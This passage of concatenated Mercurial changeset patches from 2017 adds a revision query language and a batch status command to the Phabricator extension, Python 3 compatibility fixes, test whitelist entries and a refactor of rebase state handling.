 
     return True
 
-def querydrev(repo, params, stack=False):
+# Small language to specify differential revisions. Support symbols: (), :X,
+# +, and -.
+
+_elements = {
+    # token-type: binding-strength, primary, prefix, infix, suffix
+    '(':      (12, None, ('group', 1, ')'), None, None),
+    ':':      (8, None, ('ancestors', 8), None, None),
+    '&':      (5,  None, None, ('and_', 5), None),
+    '+':      (4,  None, None, ('add', 4), None),
+    '-':      (4,  None, None, ('sub', 4), None),
+    ')':      (0,  None, None, None, None),
+    'symbol': (0, 'symbol', None, None, None),
+    'end':    (0, None, None, None, None),
+}
+
+def _tokenize(text):
+    text = text.replace(' ', '') # remove space
+    view = memoryview(text) # zero-copy slice
+    special = '():+-&'
+    pos = 0
+    length = len(text)
+    while pos < length:
+        symbol = ''.join(itertools.takewhile(lambda ch: ch not in special,
+                                             view[pos:]))
+        if symbol:
+            yield ('symbol', symbol, pos)
+            pos += len(symbol)
+        else: # special char
+            yield (text[pos], None, pos)
+            pos += 1
+    yield ('end', None, pos)
+
+def _parse(text):
+    tree, pos = parser.parser(_elements).parse(_tokenize(text))
+    if pos != len(text):
+        raise error.ParseError('invalid token', pos)
+    return tree
+
+def _parsedrev(symbol):
+    """str -> int or None, ex. 'D45' -> 45; '12' -> 12; 'x' -> None"""
+    if symbol.startswith('D') and symbol[1:].isdigit():
+        return int(symbol[1:])
+    if symbol.isdigit():
+        return int(symbol)
+
+def _prefetchdrevs(tree):
+    """return ({single-drev-id}, {ancestor-drev-id}) to prefetch"""
+    drevs = set()
+    ancestordrevs = set()
+    op = tree[0]
+    if op == 'symbol':
+        r = _parsedrev(tree[1])
+        if r:
+            drevs.add(r)
+    elif op == 'ancestors':
+        r, a = _prefetchdrevs(tree[1])
+        drevs.update(r)
+        ancestordrevs.update(r)
+        ancestordrevs.update(a)
+    else:
+        for t in tree[1:]:
+            r, a = _prefetchdrevs(t)
+            drevs.update(r)
+            ancestordrevs.update(a)
+    return drevs, ancestordrevs
+
+def querydrev(repo, spec):
     """return a list of "Differential Revision" dicts
 
-    params is the input of "differential.query" API, and is expected to match
-    just a single Differential Revision.
+    spec is a string using a simple query language, see docstring in phabread
+    for details.
 
     A "Differential Revision dict" looks like:
 
@@ -525,26 +595,13 @@
             "repositoryPHID": "PHID-REPO-hub2hx62ieuqeheznasv",
             "sourcePath": null
         }
-
-    If stack is True, return a list of "Differential Revision dict"s in an
-    order that the latter ones depend on the former ones. Otherwise, return a
-    list of a unique "Differential Revision dict".
     """
-    prefetched = {} # {id or phid: drev}
     def fetch(params):
         """params -> single drev or None"""
         key = (params.get(r'ids') or params.get(r'phids') or [None])[0]
         if key in prefetched:
             return prefetched[key]
-        # Otherwise, send the request. If we're fetching a stack, be smarter
-        # and fetch more ids in one batch, even if it could be unnecessary.
-        batchparams = params
-        if stack and len(params.get(r'ids', [])) == 1:
-            i = int(params[r'ids'][0])
-            # developer config: phabricator.batchsize
-            batchsize = repo.ui.configint('phabricator', 'batchsize', 12)
-            batchparams = {'ids': range(max(1, i - batchsize), i + 1)}
-        drevs = callconduit(repo, 'differential.query', batchparams)
+        drevs = callconduit(repo, 'differential.query', params)
         # Fill prefetched with the result
         for drev in drevs:
             prefetched[drev[r'phid']] = drev
@@ -553,23 +610,62 @@
             raise error.Abort(_('cannot get Differential Revision %r') % params)
         return prefetched[key]
 
-    visited = set()
-    result = []
-    queue = [params]
-    while queue:
-        params = queue.pop()
-        drev = fetch(params)
-        if drev[r'id'] in visited:
-            continue
-        visited.add(drev[r'id'])
-        result.append(drev)
-        if stack:
+    def getstack(topdrevids):
+        """given a top, get a stack from the bottom, [id] -> [id]"""
+        visited = set()
+        result = []
+        queue = [{r'ids': [i]} for i in topdrevids]
+        while queue:
+            params = queue.pop()
+            drev = fetch(params)
+            if drev[r'id'] in visited:
+                continue
+            visited.add(drev[r'id'])
+            result.append(int(drev[r'id']))
             auxiliary = drev.get(r'auxiliary', {})
             depends = auxiliary.get(r'phabricator:depends-on', [])
             for phid in depends:
                 queue.append({'phids': [phid]})
-    result.reverse()
-    return result
+        result.reverse()
+        return smartset.baseset(result)
+
+    # Initialize prefetch cache
+    prefetched = {} # {id or phid: drev}
+
+    tree = _parse(spec)
+    drevs, ancestordrevs = _prefetchdrevs(tree)
+
+    # developer config: phabricator.batchsize
+    batchsize = repo.ui.configint('phabricator', 'batchsize', 12)
+
+    # Prefetch Differential Revisions in batch
+    tofetch = set(drevs)
+    for r in ancestordrevs:
+        tofetch.update(range(max(1, r - batchsize), r + 1))
+    if drevs:
+        fetch({r'ids': list(tofetch)})
+    getstack(list(ancestordrevs))
+
+    # Walk through the tree, return smartsets
+    def walk(tree):
+        op = tree[0]
+        if op == 'symbol':
+            drev = _parsedrev(tree[1])
+            if drev:
+                return smartset.baseset([drev])
+            else:
+                raise error.Abort(_('unknown symbol: %s') % tree[1])
+        elif op in {'and_', 'add', 'sub'}:
+            assert len(tree) == 3
+            return getattr(operator, op)(walk(tree[1]), walk(tree[2]))
+        elif op == 'group':
+            return walk(tree[1])
+        elif op == 'ancestors':
+            return getstack(walk(tree[1]))
+        else:
+            raise error.ProgrammingError('illegal tree: %r' % tree)
+
+    return [prefetched[r] for r in walk(tree)]
 
 def getdescfromdrev(drev):
     """get description (commit message) from "Differential Revision"
@@ -667,18 +763,22 @@
 
 @command('phabread',
          [('', 'stack', False, _('read dependencies'))],
-         _('REVID [OPTIONS]'))
-def phabread(ui, repo, revid, **opts):
+         _('DREVSPEC [OPTIONS]'))
+def phabread(ui, repo, spec, **opts):
     """print patches from Phabricator suitable for importing
 
-    REVID could be a Differential Revision identity, like ``D123``, or just the
-    number ``123``, or a full URL like ``https://phab.example.com/D123``.
+    DREVSPEC could be a Differential Revision identity, like ``D123``, or just
+    the number ``123``. It could also have common operators like ``+``, ``-``,
+    ``&``, ``(``, ``)`` for complex queries. Prefix ``:`` could be used to
+    select a stack.
+
+    For example, ``:D6+8-(2+D4)`` selects a stack up to D6, plus D8 and exclude
+    D2 and D4.
 
     If --stack is given, follow dependencies information and read all patches.
+    It is equivalent to the ``:`` operator.
     """
-    try:
-        revid = int(revid.split('/')[-1].replace('D', ''))
-    except ValueError:
-        raise error.Abort(_('invalid Revision ID: %s') % revid)
-    drevs = querydrev(repo, {'ids': [revid]}, opts.get('stack'))
+    if opts.get('stack'):
+        spec = ':(%s)' % spec
+    drevs = querydrev(repo, spec)
     readpatch(repo, drevs, ui.write)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1500366895 25200
#      Tue Jul 18 01:34:55 2017 -0700
# Node ID fb59192b4981378a5a8f1993f2127d0e7b6fa4f3
# Parent  539541779010f774421743c406314019a72e66f7
phabricator: add status to revision query language

This patch adds status words (ex. `abandoned`, `accepted`, `needsreview`,
`needsrevision`, `closed`) to the revision query language so people can
select revision in a more flexible way.

Test Plan:
Try something like `phabread ':2 & accepted'`, `phabread ':105 - closed` and
make sure they have desired outputs.

Differential Revision: https://phab.mercurial-scm.org/D126

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -488,6 +488,13 @@
 
     return True
 
+_knownstatusnames = {'accepted', 'needsreview', 'needsrevision', 'closed',
+                     'abandoned'}
+
+def _getstatusname(drev):
+    """get normalized status name from a Differential Revision"""
+    return drev[r'statusName'].replace(' ', '').lower()
+
 # Small language to specify differential revisions. Support symbols: (), :X,
 # +, and -.
 
@@ -504,9 +511,8 @@
 }
 
 def _tokenize(text):
-    text = text.replace(' ', '') # remove space
     view = memoryview(text) # zero-copy slice
-    special = '():+-&'
+    special = '():+-& '
     pos = 0
     length = len(text)
     while pos < length:
@@ -515,8 +521,9 @@
         if symbol:
             yield ('symbol', symbol, pos)
             pos += len(symbol)
-        else: # special char
-            yield (text[pos], None, pos)
+        else: # special char, ignore space
+            if text[pos] != ' ':
+                yield (text[pos], None, pos)
             pos += 1
     yield ('end', None, pos)
 
@@ -644,7 +651,7 @@
         tofetch.update(range(max(1, r - batchsize), r + 1))
     if drevs:
         fetch({r'ids': list(tofetch)})
-    getstack(list(ancestordrevs))
+    validids = sorted(set(getstack(list(ancestordrevs))) | set(drevs))
 
     # Walk through the tree, return smartsets
     def walk(tree):
@@ -653,6 +660,10 @@
             drev = _parsedrev(tree[1])
             if drev:
                 return smartset.baseset([drev])
+            elif tree[1] in _knownstatusnames:
+                drevs = [r for r in validids
+                         if _getstatusname(prefetched[r]) == tree[1]]
+                return smartset.baseset(drevs)
             else:
                 raise error.Abort(_('unknown symbol: %s') % tree[1])
         elif op in {'and_', 'add', 'sub'}:
@@ -772,8 +783,13 @@
     ``&``, ``(``, ``)`` for complex queries. Prefix ``:`` could be used to
     select a stack.
 
+    ``abandoned``, ``accepted``, ``closed``, ``needsreview``, ``needsrevision``
+    could be used to filter patches by status. For performance reason, they
+    only represent a subset of non-status selections and cannot be used alone.
+
     For example, ``:D6+8-(2+D4)`` selects a stack up to D6, plus D8 and exclude
-    D2 and D4.
+    D2 and D4. ``:D9 & needsreview`` selects "Needs Review" revisions in a
+    stack up to D9.
 
     If --stack is given, follow dependencies information and read all patches.
     It is equivalent to the ``:`` operator.
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1500368719 25200
#      Tue Jul 18 02:05:19 2017 -0700
# Node ID 6e666cd59879427ec5f2a0bebace97fdf9d6395f
# Parent  fb59192b4981378a5a8f1993f2127d0e7b6fa4f3
phabricator: add phabupdate command to update status in batch

Changing status (accept, etc) on the webpage is not very convenient -
currently there is no way to accept (or abandon etc.) a stack using a single
click or command.

This patch adds a `phabupdate` command that could be used to change status
in batch. It also supports `--comment` which will write a comment on the
last revision, which is similar to what we do using emails.

Differential Revision: https://phab.mercurial-scm.org/D127

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -9,7 +9,7 @@
 This extension provides a ``phabsend`` command which sends a stack of
 changesets to Phabricator without amending commit messages, and a ``phabread``
 command which prints a stack of revisions in a format suitable
-for :hg:`import`.
+for :hg:`import`, and a ``phabupdate`` command to update statuses in batch.
 
 By default, Phabricator requires ``Test Plan`` which might prevent some
 changeset from being sent. The requirement could be disabled by changing
@@ -798,3 +798,32 @@
         spec = ':(%s)' % spec
     drevs = querydrev(repo, spec)
     readpatch(repo, drevs, ui.write)
+
+@command('phabupdate',
+         [('', 'accept', False, _('accept revisions')),
+          ('', 'reject', False, _('reject revisions')),
+          ('', 'abandon', False, _('abandon revisions')),
+          ('', 'reclaim', False, _('reclaim revisions')),
+          ('m', 'comment', '', _('comment on the last revision')),
+         ], _('DREVSPEC [OPTIONS]'))
+def phabupdate(ui, repo, spec, **opts):
+    """update Differential Revision in batch
+
+    DREVSPEC selects revisions. See :hg:`help phabread` for its usage.
+    """
+    flags = [n for n in 'accept reject abandon reclaim'.split() if opts.get(n)]
+    if len(flags) > 1:
+        raise error.Abort(_('%s cannot be used together') % ', '.join(flags))
+
+    actions = []
+    for f in flags:
+        actions.append({'type': f, 'value': 'true'})
+
+    drevs = querydrev(repo, spec)
+    for i, drev in enumerate(drevs):
+        if i + 1 == len(drevs) and opts.get('comment'):
+            actions.append({'type': 'comment', 'value': opts['comment']})
+        if actions:
+            params = {'objectIdentifier': drev[r'phid'],
+                      'transactions': actions}
+            callconduit(repo, 'differential.revision.edit', params)
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1502493460 -19800
#      Sat Aug 12 04:47:40 2017 +0530
# Node ID 057d31ceace3d65b73a7b9785188d355377a2790
# Parent  6e666cd59879427ec5f2a0bebace97fdf9d6395f
pushvars: add a coreconfigitem for push.pushvars.server

Differential Revision: https://phab.mercurial-scm.org/D359

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1883,7 +1883,7 @@
 def bundle2getvars(op, part):
     '''unbundle a bundle2 containing shellvars on the server'''
     # An option to disable unbundling on server-side for security reasons
-    if op.ui.configbool('push', 'pushvars.server', False):
+    if op.ui.configbool('push', 'pushvars.server'):
         hookargs = {}
         for key, value in part.advisoryparams:
             key = key.upper()
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -361,6 +361,9 @@
 coreconfigitem('progress', 'width',
     default=dynamicdefault,
 )
+coreconfigitem('push', 'pushvars.server',
+    default=False,
+)
 coreconfigitem('server', 'bundle1',
     default=True,
 )
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501037383 14400
#      Tue Jul 25 22:49:43 2017 -0400
# Node ID 38a3767975a78436fddc11a64b6e6efb09dc0a0e
# Parent  057d31ceace3d65b73a7b9785188d355377a2790
extensions: if on py3 and propname is a bytestr, convert to sysstr

Property names are unicodes on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D296

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -384,6 +384,7 @@
 
     These can't be wrapped using the normal wrapfunction.
     """
+    propname = pycompat.sysstr(propname)
     assert callable(wrapper)
     for currcls in cls.__mro__:
         if propname in currcls.__dict__:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1502478594 14400
#      Fri Aug 11 15:09:54 2017 -0400
# Node ID 0646608368a91b1ebb360921857f86cb6cf34b5b
# Parent  38a3767975a78436fddc11a64b6e6efb09dc0a0e
extensions: don't give AttributeError bytes message on Python 3

Differential Revision: https://phab.mercurial-scm.org/D353

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -396,8 +396,8 @@
             break
 
     if currcls is object:
-        raise AttributeError(
-            _("type '%s' has no property '%s'") % (cls, propname))
+        raise AttributeError(r"type '%s' has no property '%s'" % (
+            cls, propname))
 
 def wrapfunction(container, funcname, wrapper):
     '''Wrap the function named funcname in container
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501126406 14400
#      Wed Jul 26 23:33:26 2017 -0400
# Node ID 48f3e87ce65052422b111c9f038db1054cd0f072
# Parent  0646608368a91b1ebb360921857f86cb6cf34b5b
python3: whitelist four more passing tests

Differential Revision: https://phab.mercurial-scm.org/D298

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -15,19 +15,23 @@
 test-diff-subdir.t
 test-dirstate-nonnormalset.t
 test-doctest.py
+test-duplicateoptions.py
 test-empty-dir.t
 test-excessive-merge.t
+test-hghave.t
 test-issue1089.t
 test-issue1993.t
 test-issue842.t
 test-locate.t
 test-lrucachedict.py
 test-manifest.py
+test-match.py
 test-merge-default.t
 test-merge2.t
 test-merge5.t
 test-revlog-packentry.t
 test-run-tests.py
+test-terse-status.t
 test-unified-test.t
 test-update-reverse.t
 test-xdg.t
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500921520 14400
#      Mon Jul 24 14:38:40 2017 -0400
# Node ID 7d5bc0e5b88f4b9e9e556f9c1aa5c60f15029b66
# Parent  48f3e87ce65052422b111c9f038db1054cd0f072
py3: introduce a wrapper for __builtins__.{raw_,}input()

In order to make this work, we have to wrap the io streams in a
TextIOWrapper so that __builtins__.input() can do unicode IO on Python
3. We can't just restore the original (unicode) sys.std* because we
might be running a cmdserver, and if we blindly restore sys.* to the
original values then we end up breaking the cmdserver. Sadly,
TextIOWrapper tries to close the underlying stream during its __del__,
so we have to make a sublcass to prevent that.

If you see errors like:

TypeError: a bytes-like object is required, not 'str'

On an input() or print() call on Python 3, the substitution of
sys.std* is probably the root cause.

A previous version of this change tried to put the bytesinput() method
in pycompat - it turns out we need to do some encoding handling, so we
have to be in a higher layer that's allowed to use
mercurial.encoding.encoding. As a result, this is in util for now,
with the TextIOWrapper subclass hiding in encoding.py. I'm not sure of
a better place for the time being.

Differential Revision: https://phab.mercurial-scm.org/D299

diff --git a/hgext/hgk.py b/hgext/hgk.py
--- a/hgext/hgk.py
+++ b/hgext/hgk.py
@@ -50,6 +50,7 @@
     patch,
     registrar,
     scmutil,
+    util,
 )
 
 cmdtable = {}
@@ -96,7 +97,7 @@
     while True:
         if opts['stdin']:
             try:
-                line = raw_input().split(' ')
+                line = util.bytesinput(ui.fin, ui.fout).split(' ')
                 node1 = line[0]
                 if len(line) > 1:
                     node2 = line[1]
@@ -177,7 +178,7 @@
     prefix = ""
     if opts['stdin']:
         try:
-            (type, r) = raw_input().split(' ')
+            (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
             prefix = "    "
         except EOFError:
             return
@@ -195,7 +196,7 @@
         catcommit(ui, repo, n, prefix)
         if opts['stdin']:
             try:
-                (type, r) = raw_input().split(' ')
+                (type, r) = util.bytesinput(ui.fin, ui.fout).split(' ')
             except EOFError:
                 break
         else:
diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -8,6 +8,7 @@
 from __future__ import absolute_import
 
 import array
+import io
 import locale
 import os
 import unicodedata
@@ -573,3 +574,16 @@
             c = chr(ord(c.decode("utf-8")) & 0xff)
         r += c
     return r
+
+class strio(io.TextIOWrapper):
+    """Wrapper around TextIOWrapper that respects hg's encoding assumptions.
+
+    Also works around Python closing streams.
+    """
+
+    def __init__(self, buffer, **kwargs):
+        kwargs[r'encoding'] = _sysstr(encoding)
+        super(strio, self).__init__(buffer, **kwargs)
+
+    def __del__(self):
+        """Override __del__ so it doesn't close the underlying stream."""
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1217,18 +1217,10 @@
         self.write(prompt, prompt=True)
         self.flush()
 
-        # instead of trying to emulate raw_input, swap (self.fin,
-        # self.fout) with (sys.stdin, sys.stdout)
-        oldin = sys.stdin
-        oldout = sys.stdout
-        sys.stdin = self.fin
-        sys.stdout = self.fout
         # prompt ' ' must exist; otherwise readline may delete entire line
         # - http://bugs.python.org/issue12833
         with self.timeblockedsection('stdio'):
-            line = raw_input(' ')
-        sys.stdin = oldin
-        sys.stdout = oldout
+            line = util.bytesinput(self.fin, self.fout, r' ')
 
         # When stdin is in binary mode on Windows, it can cause
         # raw_input() to emit an extra trailing carriage return
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -172,6 +172,18 @@
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
+def bytesinput(fin, fout, *args, **kwargs):
+    sin, sout = sys.stdin, sys.stdout
+    try:
+        if pycompat.ispy3:
+            sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
+            return encoding.strtolocal(input(*args, **kwargs))
+        else:
+            sys.stdin, sys.stdout = fin, fout
+            return raw_input(*args, **kwargs)
+    finally:
+        sys.stdin, sys.stdout = sin, sout
+
 def bitsfrom(container):
     bits = 0
     for bit in container:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501128015 14400
#      Thu Jul 27 00:00:15 2017 -0400
# Node ID 627cb36b537f7f0ffe2ea7e38a9415b6c4c499e3
# Parent  7d5bc0e5b88f4b9e9e556f9c1aa5c60f15029b66
python3: whitelist another *13* tests that now pass

Differential Revision: https://phab.mercurial-scm.org/D302

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -17,6 +17,7 @@
 test-doctest.py
 test-duplicateoptions.py
 test-empty-dir.t
+test-empty.t
 test-excessive-merge.t
 test-hghave.t
 test-issue1089.t
@@ -29,9 +30,21 @@
 test-merge-default.t
 test-merge2.t
 test-merge5.t
+test-push-checkheads-pruned-B1.t
+test-push-checkheads-pruned-B6.t
+test-push-checkheads-pruned-B7.t
+test-push-checkheads-superceed-A1.t
+test-push-checkheads-superceed-A4.t
+test-push-checkheads-superceed-A5.t
+test-push-checkheads-superceed-A8.t
+test-push-checkheads-unpushed-D1.t
+test-push-checkheads-unpushed-D6.t
+test-push-checkheads-unpushed-D7.t
+test-rename.t
 test-revlog-packentry.t
 test-run-tests.py
 test-terse-status.t
 test-unified-test.t
+test-update-dest.t
 test-update-reverse.t
 test-xdg.t
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1499569552 25200
#      Sat Jul 08 20:05:52 2017 -0700
# Node ID 35fc5e919675ca837a7635486ba1ea8dbc050068
# Parent  627cb36b537f7f0ffe2ea7e38a9415b6c4c499e3
rebase: extract ctx description logic to a function

The function will be used in a later patch.

Differential Revision: https://phab.mercurial-scm.org/D22

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -122,6 +122,16 @@
         sourceset = revset.getset(repo, smartset.fullreposet(repo), x)
     return subset & smartset.baseset([_destrebase(repo, sourceset)])
 
+def _ctxdesc(ctx):
+    """short description for a context"""
+    desc = '%d:%s "%s"' % (ctx.rev(), ctx,
+                           ctx.description().split('\n', 1)[0])
+    repo = ctx.repo()
+    names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
+    if names:
+        desc += ' (%s)' % ' '.join(names)
+    return desc
+
 class rebaseruntime(object):
     """This class is a container for rebase runtime state"""
     def __init__(self, repo, ui, opts=None):
@@ -377,11 +387,7 @@
         pos = 0
         for rev in sortedrevs:
             ctx = repo[rev]
-            desc = '%d:%s "%s"' % (ctx.rev(), ctx,
-                                   ctx.description().split('\n', 1)[0])
-            names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
-            if names:
-                desc += ' (%s)' % ' '.join(names)
+            desc = _ctxdesc(ctx)
             if self.state[rev] == rev:
                 ui.status(_('already rebased %s\n') % desc)
             elif self.state[rev] == revtodo:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1499570073 25200
#      Sat Jul 08 20:14:33 2017 -0700
# Node ID 30573b3d2ebc5dec518a18837c76144fe8ce76e1
# Parent  35fc5e919675ca837a7635486ba1ea8dbc050068
rebase: move obsoleted not rebased messages earlier (BC)

A later patch will clean up those states. This patch moves the messages
earlier.

Marked as BC since the order of message has changed.

Differential Revision: https://phab.mercurial-scm.org/D23

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -446,14 +446,9 @@
             elif self.state[rev] == revignored:
                 ui.status(_('not rebasing ignored %s\n') % desc)
             elif self.state[rev] == revprecursor:
-                destctx = repo[self.obsoletenotrebased[rev]]
-                descdest = '%d:%s "%s"' % (destctx.rev(), destctx,
-                           destctx.description().split('\n', 1)[0])
-                msg = _('note: not rebasing %s, already in destination as %s\n')
-                ui.status(msg % (desc, descdest))
+                pass
             elif self.state[rev] == revpruned:
-                msg = _('note: not rebasing %s, it has no successor\n')
-                ui.status(msg % desc)
+                pass
             else:
                 ui.status(_('already rebased %s as %s\n') %
                           (desc, repo[self.state[rev]]))
@@ -1413,11 +1408,21 @@
         rebasedomain = set(repo.revs('%ld::%ld', rebaseset, rebaseset))
         for ignored in set(rebasedomain) - set(rebaseset):
             state[ignored] = revignored
+    unfi = repo.unfiltered()
     for r in obsoletenotrebased:
-        if obsoletenotrebased[r] is None:
+        desc = _ctxdesc(unfi[r])
+        succ = obsoletenotrebased[r]
+        if succ is None:
+            msg = _('note: not rebasing %s, it has no successor\n') % desc
             state[r] = revpruned
         else:
+            destctx = unfi[succ]
+            destdesc = '%d:%s "%s"' % (destctx.rev(), destctx,
+                                       destctx.description().split('\n', 1)[0])
+            msg = (_('note: not rebasing %s, already in destination as %s\n')
+                   % (desc, destdesc))
             state[r] = revprecursor
+        repo.ui.status(msg)
     return originalwd, dest.rev(), state
 
 def clearrebased(ui, repo, dest, state, skipped, collapsedas=None):
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -205,8 +205,8 @@
   o  0:cd010b8cd998 A
   
   $ hg rebase --source 'desc(B)' --dest 'tip' --config experimental.rebaseskipobsolete=True
+  note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D"
   rebasing 8:8877864f1edb "B"
-  note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D"
   rebasing 10:5ae4c968c6ac "C"
   $ hg debugobsolete
   42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
@@ -740,8 +740,8 @@
   $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.stabilization=all
   obsoleted 1 changesets
   $ hg rebase -d 6 -r "4::"
+  note: not rebasing 7:360bbaa7d3ce "O", it has no successor
   rebasing 4:ff2c4d47b71d "C"
-  note: not rebasing 7:360bbaa7d3ce "O", it has no successor
   rebasing 8:8d47583e023f "P" (tip)
 
 If all the changeset to be rebased are obsolete and present in the destination, we
@@ -908,6 +908,7 @@
   |
   ~
   $ hg rebase -r ".^^ + .^ + ." -d 19
+  note: not rebasing 21:8b31da3c4919 "dummy change", already in destination as 19:601db7a18f51 "dummy change successor"
   rebasing 20:b82fb57ea638 "willconflict second version"
   merging willconflict
   warning: conflicts while merging willconflict! (edit, then use 'hg resolve --mark')
@@ -919,7 +920,6 @@
   continue: hg rebase --continue
   $ hg rebase --continue
   rebasing 20:b82fb57ea638 "willconflict second version"
-  note: not rebasing 21:8b31da3c4919 "dummy change", already in destination as 19:601db7a18f51 "dummy change successor"
   rebasing 22:7bdc8a87673d "dummy change" (tip)
   $ cd ..
 
@@ -1066,8 +1066,8 @@
   > EOF
 
   $ hg rebase -d C -b F
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
   rebasing 2:b18e25de2cf5 "D" (D)
-  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
   rebasing 5:66f1a38021c9 "F" (F tip)
   warning: rebasing 5:66f1a38021c9 may include unwanted changes from 3:7fb047a69f22
   $ hg log -G
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1499571514 25200
#      Sat Jul 08 20:38:34 2017 -0700
# Node ID d8d0ef5f5975c2e70203c3c1df8860acdf177470
# Parent  30573b3d2ebc5dec518a18837c76144fe8ce76e1
rebase: remove revprecursor and revpruned states (BC)

Those states are no longer necessary for rebase to function properly. Remove
them to make the code cleaner.

Marked as BC because in a corner case where working parent is obsoleted, and
is skipped for rebase, we no longer move working parent after rebase
completes. That is better since if working parent is obsoleted, it should be
the user moving working parent back there (after a rebase) explicitly, in
that case, we shouldn't move working parent again.

Differential Revision: https://phab.mercurial-scm.org/D24

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -62,10 +62,10 @@
 revtodo = -1
 nullmerge = -2
 revignored = -3
-# successor in rebase destination
-revprecursor = -4
-# plain prune (no successor)
-revpruned = -5
+
+# legacy revstates no longer needed in current code
+# -4: revprecursor, -5: revpruned
+legacystates = {'-4', '-5'}
 
 cmdtable = {}
 command = registrar.command(cmdtable)
@@ -231,8 +231,9 @@
                     activebookmark = l
                 else:
                     oldrev, newrev = l.split(':')
-                    if newrev in (str(nullmerge), str(revignored),
-                                  str(revprecursor), str(revpruned)):
+                    if newrev in legacystates:
+                        continue
+                    if newrev in (str(nullmerge), str(revignored)):
                         state[repo[oldrev].rev()] = int(newrev)
                     elif newrev == nullid:
                         state[repo[oldrev].rev()] = revtodo
@@ -308,9 +309,6 @@
             return abort(self.repo, self.originalwd, self.dest,
                          self.state, activebookmark=self.activebookmark)
 
-        obsrevs = (r for r, st in self.state.items() if st == revprecursor)
-        self._handleskippingobsolete(self.state.keys(), obsrevs, self.dest)
-
     def _preparenewrebase(self, dest, rebaseset):
         if dest is None:
             return _nothingtorebase()
@@ -445,10 +443,6 @@
                 ui.debug('ignoring null merge rebase of %s\n' % rev)
             elif self.state[rev] == revignored:
                 ui.status(_('not rebasing ignored %s\n') % desc)
-            elif self.state[rev] == revprecursor:
-                pass
-            elif self.state[rev] == revpruned:
-                pass
             else:
                 ui.status(_('already rebased %s as %s\n') %
                           (desc, repo[self.state[rev]]))
@@ -499,9 +493,7 @@
         # restore original working directory
         # (we do this before stripping)
         newwd = self.state.get(self.originalwd, self.originalwd)
-        if newwd == revprecursor:
-            newwd = self.obsoletenotrebased[self.originalwd]
-        elif newwd < 0:
+        if newwd < 0:
             # original directory is a parent of rebase set root or ignored
             newwd = self.originalwd
         if newwd not in [c.rev() for c in repo[None].parents()]:
@@ -1414,14 +1406,14 @@
         succ = obsoletenotrebased[r]
         if succ is None:
             msg = _('note: not rebasing %s, it has no successor\n') % desc
-            state[r] = revpruned
+            del state[r]
         else:
             destctx = unfi[succ]
             destdesc = '%d:%s "%s"' % (destctx.rev(), destctx,
                                        destctx.description().split('\n', 1)[0])
             msg = (_('note: not rebasing %s, already in destination as %s\n')
                    % (desc, destdesc))
-            state[r] = revprecursor
+            del state[r]
         repo.ui.status(msg)
     return originalwd, dest.rev(), state
 
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -1152,10 +1152,10 @@
   2:1e9a3c00cbe9 b (no-eol)
   $ hg rebase -r 2 -d 3 --config experimental.stabilization.track-operation=1
   note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b"
-Check that working directory was updated to rev 3 although rev 2 was skipped
+Check that working directory was not updated to rev 3 because rev 2 was skipped
 during the rebase operation
   $ hg log -r .
-  3:be1832deae9a b (no-eol)
